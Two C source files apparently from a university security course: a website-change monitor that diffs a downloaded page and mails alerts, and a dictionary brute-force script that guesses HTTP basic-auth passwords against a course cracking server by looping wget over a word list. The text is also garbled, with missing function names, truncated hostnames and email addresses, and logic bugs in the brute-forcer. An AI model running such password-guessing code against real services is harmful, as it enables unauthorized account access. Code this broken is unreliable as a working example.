#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}




#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int t1, t2, t;           
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd="); 
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); 
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");    
  t1 = time();
  while(chk != NULL)    
  {
    chk = fgets(word, 15, fp); 
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0'; 
    strcat(url, word);
    strcat(url, url1);
    nofattempts = nofattempts + 1;   
    printf("\n %s %d\n",word,nofattempts);
    if (strlen(word) == 3) 
    syst = system(url);
    if (syst == 0)  
    {
       t2 = time();
       t = t2 - t1;
       timeinsec = t/1000000000;
       printf("\n !!! here's the passowrd:- %s",word);
       printf("\n Total .of atempts: %d\n",nofattempts);
       printf("\n The total time_var taken: %d seconds", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}
